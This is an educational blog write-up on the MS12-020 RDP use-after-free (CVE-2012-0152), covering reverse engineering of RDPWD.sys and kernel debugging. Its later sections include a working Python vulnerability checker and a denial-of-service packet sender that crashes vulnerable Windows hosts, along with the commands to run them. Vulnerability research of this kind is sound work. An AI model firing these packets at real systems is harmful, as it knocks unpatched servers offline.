[Learning] MS12-020: An RDP Denial-of-Service Vulnerability

First Post:

Last Update:

Word Count:
4.7k

Read Time:
29 min

Introduction

This article is part of my From Bug To Exploit series.

In this article, I will introduce MS12-020, a security update that addresses two vulnerabilities in the Remote Desktop Protocol (RDP). This is also my first time performing Windows kernel debugging.

MS12-020

MS12-020 is a Microsoft security bulletin that addresses two vulnerabilities:

  1. CVE-2012-0002
  2. CVE-2012-0152

Both vulnerabilities are related to the Remote Desktop Protocol (RDP).

The first vulnerability, CVE-2012-0002, could allow an attacker to execute arbitrary code on a vulnerable system. However, I have not been able to find a working exploit that I can reproduce in my own lab. Since I could not reproduce it myself, I decided not to investigate this vulnerability further in this article.

Instead, I will focus on the second vulnerability, CVE-2012-0152, which can cause a Denial-of-Service (DoS) condition by triggering a Blue Screen of Death (BSoD).

This is also my first time using WinDbg to perform Windows kernel debugging.

How RDP Works

The Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft that allows users to connect to and interact with a remote computer over a network.

If you remember, I released DuplexSpy v2.0.0 in January. One of its features allows users to remotely view and interact with a desktop:

Although DuplexSpy also provides an interface for controlling the remote mouse and keyboard, its underlying mechanism is quite different from RDP.

The DuplexSpy payload (client) captures real-time data, including screenshots and cursor coordinates. It then packages this data into chunks and sends them to the C2 server. In addition, the payload asynchronously receives cursor coordinates and keyboard input from the C2 server and applies them to the remote system.

RDP has a much more sophisticated mechanism. It provides a remote desktop experience and supports authentication, making it commonly used for remote system administration.

RDP is commonly used to administer Windows servers, although it can also be enabled on personal computers.

The implementation of RDP is quite complicated.

Root Cause of the Vulnerability

The root cause of the MS12-020 DoS vulnerability is a Use-After-Free (UAF).

C and C++ do not provide automatic garbage collection by default, unlike languages such as Java and C#. Therefore, when a program dynamically allocates memory on the heap, the developer is generally responsible for managing its lifetime and releasing it when it is no longer needed.

For example:

1
2
3
4
5
6
7
8
// Allocate memory on the heap
int *ptr = (int *)malloc(sizeof(int) * 10);

// Free the allocated memory
free(ptr);

// Avoid accidentally reusing the pointer
ptr = NULL;

However, mistakes can happen. As a program becomes more complex, developers may accidentally release the same memory more than once.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Allocate memory on the heap
int *ptr = (int *)malloc(sizeof(int) * 10);

// Very sophisticated code...

// Free the allocated memory
free(ptr);

// Very sophisticated code...

// Oops! The memory has already been freed!
free(ptr);

// Avoid accidentally reusing the pointer
ptr = NULL;

This is known as a Double Free vulnerability. Depending on the memory allocator and execution environment, attempting to free the same memory twice may cause a crash or other unexpected behavior.

On the other hand, a developer might accidentally continue using a pointer after the memory it references has been freed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Allocate memory on the heap
int *ptr = (int *)malloc(sizeof(int) * 10);

// Very sophisticated code...

// Free the allocated memory
free(ptr);

// Very sophisticated code...

// Oops! The memory has already been freed!
*ptr = 0xDEADBEEF;

// Avoid accidentally reusing the pointer
ptr = NULL;

This is known as a Use-After-Free (UAF) vulnerability.

Once memory has been freed, the program must no longer access it through the old pointer. However, the pointer itself does not automatically become invalid or change to NULL. If the program continues to use it, the result is undefined behavior. Depending on the circumstances, this may lead to memory corruption, a crash, or potentially exploitable behavior.

Some publicly available proof-of-concept implementations and analyses of MS12-020 discuss different possible causes, including Double Free and Use-After-Free behavior.

In this article, I will focus on reproducing the second scenario: Use-After-Free.

How RDP Data Is Processed

MS12-020 is somewhat more complicated than MS08-067. It does not involve only user-mode components; kernel-mode drivers are also involved.

I created a simplified sequence diagram to illustrate how a vulnerable Windows server processes RDP traffic:

sequenceDiagram autonumber actor Client as RDP Client (mstsc.exe) box rgb(30, 41, 59) Kernel Mode participant TCPIP as tcpip.sys
(Network Stack) participant TERMDD as termdd.sys
(Terminal Device Driver) participant RDPWD as rdpwd.sys
(RDP Protocol Stack) end box rgb(67, 20, 7) User Mode participant TERMSRV as termsrv.dll
[svchost - TermService] participant LSASS as credssp.dll / lsass.exe
(Authentication Core) end Client->>TCPIP: Initiate connection & send Credential/Handshake packets (TCP 3389) TCPIP->>TERMDD: Pass network packet data upward TERMDD->>TERMDD: Trigger IcaChannelInputInternal() Note over TERMDD: Identifies data as RDP Control
or Authentication Channel traffic TERMDD->>RDPWD: Call WdInput() / WdDataPattern() Note over RDPWD: Parse RDP Protocol PDUs
(e.g., MCS Connect, NLA Handshake data) RDPWD-->>TERMSRV: Asynchronous I/O / Wake up worker threads TERMSRV->>TERMSRV: Trigger CWinStation::Connect() TERMSRV->>TERMSRV: Trigger CWinStation::Logon() TERMSRV->>LSASS: Invoke RPC to pass credentials to LSASS LSASS->>LSASS: Execute SpAcceptSecurityContext()
(Processes NLA / CredSSP Handshake) LSASS->>LSASS: Execute MsvSamLogon() (NTLM) or KerberosValidate() (Domain) LSASS-->>TERMSRV: Return Authentication Result (Success) TERMSRV->>TERMDD: Send DeviceIoControl()
(with IOCTL_ICA_SYSTEM_WIDE_LOGON_STATUS) TERMDD->>TERMDD: Trigger IcaDeviceControl() to update Session State TERMDD->>Client: Send final Logon Info PDU (Connection Successful, Load Desktop)

Windows is a complicated operating system. Multiple drivers and user-mode components work together to provide its features. In other words, RDP functionality is not implemented by a single driver or program. Instead, it involves multiple components that communicate with one another.

The DoS vulnerability discussed in MS12-020 occurs in the RDPWD.sys driver.

Microsoft’s RDP implementation uses a mechanism called a channel. You can think of a channel as a logical communication path within an RDP connection.

During my analysis, I found that the functions RDPWD!_SListRemove and RDPWD!DetachUser do not handle certain pointers and request safely. An attacker can craft malicious connection requests that cause multiple connections using different usernames to be associated with the same channel ID. When these connections are subsequently disconnected, RDPWD!_SListRemove may access a pointer to memory that has already been freed, resulting in a Use-After-Free (UAF) condition.

Let’s analyze it with Ghidra and WinDbg.

When a client connects to the server through RDP, the server first processes the incoming network traffic through components such as TDTCP.sys and termdd.sys:

The data is then passed to RDPWD.sys, where MCSIcaRawInput processes it:

This function is quite complicated, so I will focus only on the details relevant to the vulnerability.

The function also calls RecognizeMCSFrame to identify the type of request and dispatch it to the appropriate handler using the _DomainPDUTable data structure.

We can use the following command in WinDbg to inspect the function pointers stored in this table:

1
dps RDPWD!DomainPDUTable

The value of the Frame field can be observed in Wireshark while establishing an RDP connection:

Based on these observations, we can see that the server uses information in the incoming request to determine which function should process it.

When a client requests to join a channel or attach a user to a channel, the server dispatches the request to either RDPWD!MCSAttachUserRequest or RDPWD!MCSChannelJoinRequest, depending on the request type.

Both functions use a particular data structure to store session-related information:

Note: I could not find detailed documentation about SList in the Microsoft documentation. My current assumption is that the S stands for Session, but I have not verified this.

The Special Data Structure SList

Now, let’s examine the implementation of SListInit:

[Insert screenshot here]

The data type undefined4 represents a 4-byte value in Ghidra’s decompiler output.

In this function, we can identify five fields, each occupying 4 bytes. Based on their initial values, we can infer the following initial memory layout for this unknown data structure:

classDiagram direction LR class Struct_Param1 { +0x00 : param_1[0] = 0 +0x04 : param_1[1] = 4 +0x08 : param_1[2] = 0 +0x0C : param_1[3] = 0xFFFFFFFF +0x10 : param_1[4] = ¶m_1[5] (0x14) } style Struct_Param1 fill:#222222,stroke:#ffffff,stroke-width:2px,color:#ffffff

Next, let’s examine the implementation of SListAppend:

The implementation of SListInit is shown below:

We can see that param_1[0] (that is, *param_1) is incremented by 1 in SListAppend whenever an element is appended. Similarly, it is decremented by 1 in SListRemove whenever an element is removed.

From a data structure and algorithm perspective, it is reasonable to infer that param_1[0] represents the element count.

What about param_1[1]? In SListAppend, the function calls another function, FUN_0002bf8a:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
undefined4 FUN_0002bf8a(void)
{
undefined4 *puVar1;
undefined4 *puVar2;
undefined4 uVar3;
uint uVar4;
undefined4 *puVar5;
uint uVar6;
int iVar7;
int unaff_EBX;
undefined4 *puVar8;

puVar1 = *(undefined4 **)(unaff_EBX + 0x10);
puVar2 = (undefined4 *)ExAllocatePoolWithTag(1,*(int *)(unaff_EBX + 4) << 4,0x636d5354);
*(undefined4 **)(unaff_EBX + 0x10) = puVar2;
if (puVar2 == (undefined4 *)0x0) {
*(undefined4 **)(unaff_EBX + 0x10) = puVar1;
uVar3 = 0;
}
else {
uVar4 = (*(int *)(unaff_EBX + 4) - *(int *)(unaff_EBX + 8)) * 8;
puVar8 = puVar1 + *(int *)(unaff_EBX + 8) * 2;
for (uVar6 = uVar4 >> 2; uVar6 != 0; uVar6 = uVar6 - 1) {
*puVar2 = *puVar8;
puVar8 = puVar8 + 1;
puVar2 = puVar2 + 1;
}
for (iVar7 = 0; iVar7 != 0; iVar7 = iVar7 + -1) {
*(undefined1 *)puVar2 = *(undefined1 *)puVar8;
puVar8 = (undefined4 *)((int)puVar8 + 1);
puVar2 = (undefined4 *)((int)puVar2 + 1);
}
puVar2 = puVar1;
puVar8 = (undefined4 *)(*(int *)(unaff_EBX + 0x10) + uVar4);
for (uVar6 = (uint)(*(int *)(unaff_EBX + 8) << 3) >> 2; uVar6 != 0; uVar6 = uVar6 - 1) {
*puVar8 = *puVar2;
puVar2 = puVar2 + 1;
puVar8 = puVar8 + 1;
}
puVar5 = (undefined4 *)(unaff_EBX + 0x14);
for (iVar7 = 0; iVar7 != 0; iVar7 = iVar7 + -1) {
*(undefined1 *)puVar8 = *(undefined1 *)puVar2;
puVar2 = (undefined4 *)((int)puVar2 + 1);
puVar8 = (undefined4 *)((int)puVar8 + 1);
}
if (puVar1 != puVar5) {
puVar5 = (undefined4 *)ExFreePoolWithTag(puVar1,0);
}
*(int *)(unaff_EBX + 4) = *(int *)(unaff_EBX + 4) << 1;
*(undefined4 *)(unaff_EBX + 8) = 0;
uVar3 = CONCAT31((int3)((uint)puVar5 >> 8),1);
}
return uVar3;
}

This function looks quite complicated! However, we can still work out what it does by examining it step by step.

First, according to the Microsoft documentation for ExAllocatePoolWithTag, the function has the following definition:

1
2
3
4
5
PVOID ExAllocatePoolWithTag(
[in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
[in] SIZE_T NumberOfBytes,
[in] ULONG Tag
);

As the name suggests, ExAllocatePoolWithTag allocates a block of pool memory of the specified size. In this case, the requested allocation size is calculated from the value at offset 0x04, shifted left by four bits. This suggests that the function allocates a larger buffer to accommodate more elements.

Second, the for loops copy data from the original buffer into the newly allocated buffer. The function then frees the original buffer after copying the data.

Finally, the value at (unaff_EBX + 4), which corresponds to param_1[1], is doubled.

Based on these observations, it is reasonable to infer that this function expands the buffer’s capacity and that param_1[1] represents the capacity.

Next, let’s analyze param_1[2]. This field is particularly interesting.

In SListAppend, the function performs the following operations:

1
2
3
4
uVar2 = param_1[2] + *param_1;
if (param_1[1] <= uVar2) {
uVar2 = uVar2 - param_1[1];
}

In SListRemove, it performs the following operations:

1
2
3
4
5
6
7
uVar2 = param_1[2];
// something...

uVar2 = uVar2 + 1;
if (uVar2 == param_1[1]) {
uVar2 = 0;
}

These operations suggest that SList implements a circular buffer. The index wraps around to zero when it reaches the capacity, which is a common technique for implementing circular buffers.

Note: I couldn’t find any documentation explaining why Microsoft chose to implement this data structure as a circular buffer. Personally, I suspect that it has something to do with time complexity.

In SListRemove, when a specified element is removed, the last element is moved into the vacated slot. This allows the removal operation to be performed in constant time, or O(1), assuming the element’s index is already known. Since the order of the elements does not need to be preserved, they can still be stored sequentially in the buffer without requiring the remaining elements to be shifted.

In theory, we could also implement this using a singly linked list or a doubly linked list. However, I am not sure whether either approach would be more efficient in this particular scenario.

Based on this behavior, I suspect that param_1[2] represents the head index.

As for param_1[3], it is initialized to 0xFFFFFFFF in SListInit and assigned the same value in SListRemove. Based on these observations, I suspect that it serves as a flag or sentinel value, although its exact purpose requires further investigation.

Finally, param_1[4] initially contains an address offset. Based on how the field is accessed and updated, I believe it stores a pointer to the actual data buffer.

Putting these observations together, we can propose the following structure definition:

1
2
3
4
5
6
7
typedef struct _RDP_SLIST {
ULONG Count; // Offset 0x00
ULONG Capacity; // Offset 0x04
ULONG HeadIndex; // Offset 0x08
ULONG Flags; // Offset 0x0C
PVOID BufferPtr; // Offset 0x10
} RDP_SLIST, *PRDP_SLIST;

Now, let’s add this structure definition to Ghidra:

Data Type Manager

It looks much better, doesn’t it?

Denial-of-Service

Finally, let’s take a look at how MS12-020 can lead to a denial-of-service condition.

As I mentioned earlier, the server (or, more specifically, the driver) does not properly validate the relationship between a user ID and its assigned channel ID. As a result, multiple users can end up being associated with the same channel ID. When these users disconnect, the server may attempt to access a pointer that has already been freed during the first user’s disconnection.

Consequently, the server may access invalid memory in kernel mode, triggering a Use-After-Free condition and eventually causing a BSoD. This is the root cause of the denial-of-service vulnerability in MS12-020.

To better understand how this happens, I wrote a simplified Python program to simulate the vulnerable behavior:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
# simulate_ms12020.py
# Simulation program

import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--normal', action='store_true', help='Normal RDP connection')
parser.add_argument('--check', action='store_true', help='Check vulnerability')
parser.add_argument('--dos', action='store_true', help='DoS')

args = parser.parse_args()


class ChannelObject:
def __init__(self, channel_id):
self.channel_id = channel_id
self.is_free = False

def __repr__(self):
return f'<Channel ID: {self.channel_id} (Free={"True" if self.is_free else "False"})>'


class SList:
def __init__(self, capacity=4):
self.capacity = capacity
self.entries = [None] * capacity
self.count = 0

def append(self, obj):
if self.count >= self.capacity:
old_cap = self.capacity
self.capacity *= 2

print(f'[Pool Expansion] Queue is full ({old_cap}), triggering FUN_0002bf8a to double capacity to {self.capacity}')

new_entries = [None] * self.capacity
for i in range(self.count):
new_entries[i] = self.entries[i]

self.entries = new_entries

self.entries[self.count] = obj
self.count += 1

def remove(self, target_id):
for idx in range(self.count):
obj = self.entries[idx]
if obj and obj.channel_id == target_id:
print(f'[_SListRemove]: Found target <{target_id}> on index={idx}')

last_idx = self.count - 1
last_obj = self.entries[last_idx]

print(f'[Bad overwrite]: Replace <{idx}> with the last element with channel_id <{last_obj.channel_id}>')

self.entries[idx] = last_obj
self.entries[last_idx] = None # free()
self.count -= 1

return obj

return None


class MockVulRDPServer:
def __init__(self):
self.user_channels = SList()
self.global_channels = {}

def handle_client_connect(self, mode):
print(f'----------------------------------------')
print(f'\tNew connection: mode={mode}')
print(f'----------------------------------------')

self.user_channels = SList()
self.global_channels = {}

if mode == 'NORMAL':
print('[+] Normal RDP user has been joined to channel_id=1001')

obj = ChannelObject(1001)
self.user_channels.append(obj)
self.global_channels[1001] = obj

elif mode == 'CHECK':
print('[+] Check vulnerability: Reusing channel 1002')

obj = ChannelObject(1002)
self.user_channels.append(obj)
self.user_channels.append(obj)
self.global_channels[1002] = obj

print('No any rejection, server is vulnerable')

elif mode == 'DOS':
print('[+] DoS ( . _ .)')

shared_obj = ChannelObject(1002)
self.user_channels.append(shared_obj)
self.global_channels[1002] = shared_obj

for dummy_id in range(10, 22):
self.user_channels.append(ChannelObject(dummy_id))

self.user_channels.append(shared_obj)

print(f'[*] Count of channel object in channel 1002: {self.user_channels.count}')
print(f'[+] Server is cookedddddddd')

else:
print('[-] What the hell is this?')

def channel_leave(self, target_id):
print(f'[*] Doing _ChannelLeave to remove channel_id={target_id}')

removed_obj = self.user_channels.remove(target_id)

if not removed_obj:
raise RuntimeError(f'Cannot find channel with id: {target_id}')

if removed_obj.is_free:
raise RuntimeError(f'Double Free / User-After-Free. Channel_id={target_id}')
else:
print(f'[+] Successfully released channel_id={target_id}')
removed_obj.is_free = True

def detach_user(self):
print('[*] DetachUser API')

idx = 0
while idx < self.user_channels.count:
current_entry = self.user_channels.entries[idx]
if current_entry is None:
break

current_id = current_entry.channel_id
print(f'[Iteration] Current Index={idx}. Channel ID={current_id}')

self.channel_leave(current_id)

if idx >= self.user_channels.count:
break

if self.user_channels.capacity > 4:
if current_id != 1002:
idx += 1
else:
idx += 1


def main():

mode = ''
if args.normal:
mode = 'NORMAL'
elif args.check:
mode = 'CHECK'
elif args.dos:
mode = 'DOS'
else:
parser.print_help()
return

server = MockVulRDPServer()
server.handle_client_connect(mode)

try:
server.detach_user()
except RuntimeError as ex:
print('\n')
print(
':( A problem has been detected and detected and Windows has been shut down to prevent damage to your computer.\n' +
'\n' +
f'{ex}' +
'\n' +
'If this is the first time you\'ve seen this error screen, restart your computer... alright, that\'s it.'
)
print('\n')


if __name__ == '__main__':
main()

As you can see, the simplified program models the behavior of the channel list. It also demonstrates how multiple entries can refer to the same ChannelObject. When one entry is removed and the object is marked as freed, another entry can still refer to that same object. Attempting to remove it again therefore simulates accessing an already-freed object.

With this simplified model in mind, we can move on to the actual PoC.

First, we can write a checker to determine whether the server allows two users to join the same channel. The core idea is to send two userRequest messages, obtain the corresponding user IDs, and then attempt to associate both users with the same channel ID:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
def do_check(ip: str, port: int):

print(f'{Fore.BLUE + Style.BRIGHT}[*]{Style.RESET_ALL} Checking {ip}:{port} for MS12-020 vulnerability...')

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(args.timeout)
sock.connect((ip, port))

req = b'\x03\x00\x00\x0b\x06\xe0\x00\x00\x00\x00\x00'
sock.sendall(req)
resp = sock.recv(1024)

if not resp or not resp.startswith(b'\x03\x00\x00\x0b\x06\xd0'):
print(f'{Fore.RED + Style.BRIGHT}[-]{Style.RESET_ALL} Target did not return a valid RDP connection confirmation')
sock.close()
return False

init = (
b'\x03\x00\x00\x65' +
b'\x02\xf0\x80' + #
b'\x7f\x65\x5b' + #
b'\x04\x01\x01' + #
b'\x04\x01\x01' + #
b'\x01\x01\xff' + #
b'\x30\x19' + #
b'\x02\x01\x22' + #
b'\x02\x01\x20' + #
b'\x02\x01\x00' + #
b'\x02\x01\x01' + #
b'\x02\x01\x00' + #
b'\x02\x01\x01' +
b'\x02\x02\xff\xff' +
b'\x02\x01\x02' +
b'\x30\x18' +
b'\x02\x01\x01' +
b'\x02\x01\x01' +
b'\x02\x01\x01' +
b'\x02\x01\x01' +
b'\x02\x01\x00' +
b'\x02\x01\x01' +
b'\x02\x01\xff' +
b'\x02\x01\x02' +
b'\x30\x19' +
b'\x02\x01\xff' +
b'\x02\x01\xff' +
b'\x02\x01\xff' +
b'\x02\x01\x01' +
b'\x02\x01\x00' +
b'\x02\x01\x01' +
b'\x02\x02\xff\xff' +
b'\x02\x01\x02' +
b'\x04\x00'
)

sock.sendall(init)

user_request = b'\x03\x00\x00\x08\x02\xf0\x80\x28'
sock.sendall(user_request)
res = sock.recv(1024)

if len(res) < 11:
print(f'{Fore.RED + Style.BRIGHT}[-]{Style.RESET_ALL} No valid response to the first userRequest.')
sock.close()
return False

user1 = int.from_bytes(res[9:11], byteorder='big')
chan1 = user1 + 1001

sock.sendall(user_request)
res = sock.recv(1024)

if len(res) < 11:
print('[-] No valid response to the second userRequest.')
s.close()
return False

user2 = int.from_bytes(res[9:11], byteorder='big')
chan2 = user2 + 1001

channel_request = b'\x03\x00\x00\x0c\x02\xf0\x80\x38'
pkt1 = channel_request + user1.to_bytes(2, byteorder='big') + chan2.to_bytes(2, byteorder='big')
sock.sendall(pkt1)
res = sock.recv(1024)

if len(res) >= 9 and res[7:9] == b'\x3e\x00':
pkt2 = channel_request + user2.to_bytes(2, byteorder='big') + chan2.to_bytes(2, byteorder='big')
sock.sendall(pkt2)
sock.close()
return True
else:
sock.close()
return False

except Exception as ex:
print(f'{Fore.RED + Style.BRIGHT}[-]{Style.RESET_ALL} {ip}:{port} {ex}')

If the server accepts both requests, it suggests that the target may be vulnerable.

Furthermore, if we can fill the buffer with additional entries and then send a detach request, we may be able to trigger the Use-After-Free condition on the remote server, eventually causing a BSoD:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
def do_dos(ip: str, port: int):

print(f'{Fore.BLUE + Style.BRIGHT}[*]{Style.RESET_ALL} Target: {ip}:{port}')

if not is_rdp_up(ip, port):
print(f'{Fore.RED + Style.BRIGHT}[-]{Style.RESET_ALL} {ip}:{port} - RDP unreachable')
return

max_channel_ids = b'\x02\x01\xff'

base_init_pkt = (
b'\x03\x00\x00\x13' # TPKT: version + length
b'\x0E\xE0\x00\x00' # X.224 (connection request)
b'\x00\x00\x00\x01'
b'\x00\x08\x00\x00'
b'\x00\x00\x00'
b'\x03\x00\x00\x6A' # TPKT: version + length
b'\x02\xF0\x80' # X.224 (connect-initial)
b'\x7F\x65\x82\x00' # T.125
b'\x5E'
b'\x04\x01\x01' # callingDomainSelector
b'\x04\x01\x01' # calledDomainSelector
b'\x01\x01\xFF' # upwardFlag
b'\x30\x19' # targetParameters
+ max_channel_ids + # maxChannelIds
b'\x02\x01\xFF' # maxUserIds
b'\x02\x01\x00' # maxTokenIds
b'\x02\x01\x01' # numPriorities
b'\x02\x01\x00' # minThroughput
b'\x02\x01\x01' # maxHeight
b'\x02\x02\x00\x7C' # maxMCSPDUsize
b'\x02\x01\x02' # protocolVersion
b'\x30\x19' # minimumParameters
+ max_channel_ids + # maxChannelIds
b'\x02\x01\xFF' # maxUserIds
b'\x02\x01\x00' # maxTokenIds
b'\x02\x01\x01' # numPriorities
b'\x02\x01\x00' # minThroughput
b'\x02\x01\x01' # maxHeight
b'\x02\x02\x00\x7C' # maxMCSPDUsize
b'\x02\x01\x02' # protocolVersion
b'\x30\x19' # maximumParameters
+ max_channel_ids + # maxChannelIds
b'\x02\x01\xFF' # maxUserIds
b'\x02\x01\x00' # maxTokenIds
b'\x02\x01\x01' # numPriorities
b'\x02\x01\x00' # minThroughput
b'\x02\x01\x01' # maxHeight
b'\x02\x02\x00\x7C' # maxMCSPDUsize
b'\x02\x01\x02' # protocolVersion
b'\x04\x82\x00\x00' # userData
)

single_repeat_block = (
b'\x03\x00\x00\x08' # TPKT: version + length
b'\x02\xF0\x80' # X.224
b'\x28' # T.125
)
repeated_chunks = single_repeat_block * 16

tail_exploit_pkt = (
b'\x03\x00\x00\x0C'
b'\x02\xF0\x80'
b'\x38\x00\x06\x03'
b'\xF0'
b'\x03\x00\x00\x09'
b'\x02\xF0\x80'
b'\x21\x80'
)

pkt = base_init_pkt + repeated_chunks + tail_exploit_pkt

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(args.timeout)
sock.connect((ip, port))
sock.sendall(pkt)

time.sleep(5)

sock.close()

print(f'{Fore.BLUE + Style.BRIGHT}[*]{Style.RESET_ALL} {ip}:{port} - {len(pkt)} bytes sent')
except Exception as ex:
print(f'{Fore.RED + Style.BRIGHT}[-]{Style.RESET_ALL} {ip}:{port} {ex}')
return

if is_rdp_up(ip, port):
print(f'{Fore.RED + Style.BRIGHT}[-]{Style.RESET_ALL} {ip}:{port} - RDP Service still up (Target might not be vulnerable or patch applied)')
else:
print(f'{Fore.GREEN + Style.BRIGHT}[+]{Style.RESET_ALL} {ip}:{port} seems down! Target successfully crashed via MS12-020.')

Note: You can find the completed code in my repository.

Now, let’s reproduce the crash while observing the kernel with WinDbg. If you are not familiar with attaching WinDbg to a virtual Windows machine, you can refer to my previous article.

Before triggering the BSoD, set a breakpoint at RDPWD!SListRemove:

1
bp RDPWD!SListRemove

Now, let’s trigger the vulnerability:

1
2
python3 dos.py --ip <IP> --port 3389 --check
python3 dos.py --ip <IP> --port 3389 --dos

We can see that execution is interrupted in WinDbg.

When RDPWD!SListRemove is called for the second time, use F10 (Step Over) to execute the instructions one by one until you reach RDPWD!SListRemove+0x5d. Then, use the r command to inspect the register values:

1
2
3
4
5
6
kd> r
eax=e253b1a8 ebx=00000000 ecx=e253b1bc edx=00000000 esi=e23a9663 edi=e252b800
eip=b237f0c7 esp=b2799428 ebp=b2799430 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286
RDPWD!SListRemove+0x5d:
b237f0c7 8b3cf1 mov edi,dword ptr [ecx+esi*8] ds:0023:f42864d4=????????

As shown above, the instruction attempts to read from an invalid memory address. The debugger displays ???????? because it cannot read the memory at that address.

Now, enter g to continue execution. The target system should eventually crash.

After the crash, run the following command:

1
!analyze -v

We can also inspect the call stack (command k), which provides further evidence supporting our previous analysis.

Finally, enter g in WinDbg to continue execution. You should then see the BSoD on the vulnerable Windows XP or Windows 7 virtual machine!

Conclusion

This is my first time performing kernel debugging, and I have to say that the internal mechanisms of RDP are extremely complicated. Fully understanding how everything works is quite challenging. However, once we understand these mechanisms, we can start identifying potential vulnerabilities.

Historically, RDP has had many security vulnerabilities, including several RCE vulnerabilities. One example is EsteemAudit, which I would also like to analyze in a future article!

Honestly, I don’t think my analysis is perfect, and there are still many details I haven’t fully figured out. If I discover anything new, I’ll share it in future articles as well!

I also believe that what I’ve learned from this analysis will help me investigate other kernel exploitation vulnerabilities, including EternalBlue!

That’s all for this article. If you have any comments or suggestions, please feel free to leave them below!

THANKS FOR READING

Well, I have still been in a bad mood recently… but I drew two new pictures that make me satisfied!

Link: Pixiv